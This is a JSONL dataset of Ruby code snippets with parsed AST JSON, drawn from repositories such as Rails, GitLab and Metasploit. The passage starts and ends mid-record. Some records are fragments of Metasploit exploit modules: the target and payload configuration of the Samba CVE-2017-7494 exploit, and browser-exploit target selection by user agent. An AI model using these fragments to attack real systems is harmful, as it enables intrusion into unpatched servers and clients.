<knownsteelo[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-7494\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.samba.org/samba/security/CVE-2017-7494.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1083_FILE_AND_DIRECTORY_DISCOVERY\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1135_NETWORK_SHARE_DISCOVERY\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1592_002_SOFTWARE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[9000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic (Interact)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Interact\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd_interact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"find\"]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic (Command)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86_64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux ARM (LE)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux ARM64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux MIPS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPS\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux MIPSLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSLE\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux MIPS64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPS64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux MIPS64LE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPS64LE\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux PPC\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux PPC64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux PPC64 (LE)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC64LE\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux SPARC\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_SPARC\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux SPARC64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_SPARC64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux s390x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ZARCH\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DCERPC::fake_bind_multi\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SHELL\"]},{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-03-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMB_SHARE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the SMB share containing a writeable directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMB_FOLDER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The directory to use within the writeable SMB share\"]}]}]}]}]}]}]}","id":"13b34800-5b35-4a6c-935c-84387b10ceff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":1105,"raw_source":"def add_pg_encoders\n          map = PG::TypeMapByClass.new\n          map[Integer] = PG::TextEncoder::Integer.new\n          map[TrueClass] = PG::TextEncoder::Boolean.new\n          map[FalseClass] = PG::TextEncoder::Boolean.new\n          @raw_connection.type_map_for_queries = map\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_pg_encoders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"map\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"TypeMapByClass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"TextEncoder\"]},\"Integer\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"TextEncoder\"]},\"Boolean\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"FalseClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"TextEncoder\"]},\"Boolean\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"type_map_for_queries=\",{\"type\":\"lvar\",\"children\":[\"map\"]}]}]}]}","id":"930e5aa7-7997-49c8-9b65-4bba626b2bda"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/primerized/input_field.rb","start_line":18,"raw_source":"def send_keys(*)\n        input_element.send_keys(*)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_element\"]},\"send_keys\",{\"type\":\"forwarded_restarg\",\"children\":[]}]}]}","id":"83e77adc-8c48-4b04-9574-bc56d30431e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb","start_line":14,"raw_source":"def initialize\n    @contexts = []\n    @debug = false\n    # Values dequeued before work is started\n    @write_queue = ::Queue.new\n    # Values dequeued after work is completed\n    @remaining_work = ::Queue.new\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@contexts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@debug\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@write_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queue\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remaining_work\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queue\"]},\"new\"]}]}]}]}","id":"0974b8e6-581c-4e20-9b1c-308435e0d601"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb","start_line":64,"raw_source":"def get_target(agent)\n    return target if target.name != 'Automatic'\n\n    if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6/\n      return targets[1]  # IE 6 on Windows XP SP3\n    elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7/\n      return targets[2]  # IE 7 on Windows XP SP3\n    else\n      return nil\n    end\n  end","complexity_score":15.58,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 6\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"e85d7ffa-e279-4014-b845-7bbf225d41e6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/legacy_xcresult.rb","start_line":392,"raw_source":"def failure_message\n        new_message = self.message\n        if self.document_location_in_creating_workspace&.url\n          file_path = self.document_location_in_creating_workspace.url.gsub(\"file://\", \"\")\n          new_message += \" (#{file_path})\"\n        end\n\n        return new_message\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"failure_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_message\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"document_location_in_creating_workspace\"]},\"url\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"document_location_in_creating_workspace\"]},\"url\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"file://\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_message\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_message\"]}]}]}]}","id":"c63ee278-b69d-4900-93e5-c9be7b869ddf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/product_analytics/browser_sdk_app.rb","start_line":48,"raw_source":"def wait_for_app_available\n            Runtime::Logger.info(\"Waiting for Browser SDK sample app to become available at http://#{host_name}:#{@port}...\")\n            Support::Waiter.wait_until(sleep_interval: 1,\n              message: \"Wait for Browser SDK sample app to become available at http://#{host_name}:#{@port}\") { app_available? }\n            Runtime::Logger.info('Browser SDK sample app is up!')\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_app_available\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for Browser SDK sample app to become available at http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wait for Browser SDK sample app to become available at http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"app_available?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Browser SDK sample app is up!\"]}]}]}]}","id":"cd454bd6-4d6e-412e-8914-1b5c1f678f78"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":755,"raw_source":"def compatible_encoders\n    encoders = []\n\n    c_platform, c_arch = normalize_platform_arch\n\n    framework.encoders.each_module_ranked(\n      'Arch' => c_arch, 'Platform' => c_platform) { |name, mod|\n      encoders << [ name, mod ]\n    }\n\n    return encoders;\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"compatible_encoders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoders\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c_platform\"]},{\"type\":\"lvasgn\",\"children\":[\"c_arch\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_platform_arch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"encoders\"]},\"each_module_ranked\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"lvar\",\"children\":[\"c_arch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"lvar\",\"children\":[\"c_platform\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoders\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoders\"]}]}]}]}","id":"cfb965f9-8101-40a2-a2dc-68659c3053fb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/account_controller.rb","start_line":374,"raw_source":"def authenticate_user\n    if OpenProject::Configuration.disable_password_login?\n      render_404\n    else\n      password_authentication(params[:username]&.strip, params[:password])\n    end\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"disable_password_login?\"]},{\"type\":\"send\",\"children\":[null,\"render_404\"]},{\"type\":\"send\",\"children\":[null,\"password_authentication\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]}","id":"736c16b4-d035-4bbb-9f37-454e91df19d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/log_util.rb","start_line":6,"raw_source":"def self.exportable_to_log_payload(exportable)\n        attribute_base_name = exportable.class.name.underscore\n\n        return {} unless %w[project group].include?(attribute_base_name)\n\n        {}.tap do |log|\n          log[:\"#{attribute_base_name}_id\"] = exportable.id\n          log[:\"#{attribute_base_name}_name\"] = exportable.name\n          log[:\"#{attribute_base_name}_path\"] = exportable.full_path\n        end.compact\n      end","complexity_score":18.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"exportable_to_log_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exportable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_base_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exportable\"]},\"class\"]},\"name\"]},\"underscore\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"str\",\"children\":[\"group\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attribute_base_name\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_base_name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exportable\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_base_name\"]}]},{\"type\":\"str\",\"children\":[\"_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exportable\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_base_name\"]}]},{\"type\":\"str\",\"children\":[\"_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exportable\"]},\"full_path\"]}]}]}]},\"compact\"]}]}]}","id":"c0194336-869d-4e59-80f2-aace7b225062"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/members/invite_service_spec.rb","start_line":613,"raw_source":"def expect_to_create_members(count:)\n    expect { result }.to change(ProjectMember, :count).by(count)\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_to_create_members\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"result\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\",{\"type\":\"const\",\"children\":[null,\"ProjectMember\"]},{\"type\":\"sym\",\"children\":[\"count\"]}]},\"by\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"e1e1ba7e-c405-4bce-abb0-9e34cefd4f0c"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/stats/calculate_month.rb","start_line":32,"raw_source":"def update_month_stats(year, month)\n    Stat.transaction do\n      stat = Stat.find_or_initialize_by(year:, month:, user:)\n      distance_by_day = stat.distance_by_day\n\n      stat.assign_attributes(\n        daily_distance: distance_by_day,\n        distance: distance(distance_by_day),\n        toponyms: toponyms,\n        h3_hex_ids: calculate_h3_hex_ids\n      )\n\n      stat.save!\n    end\n  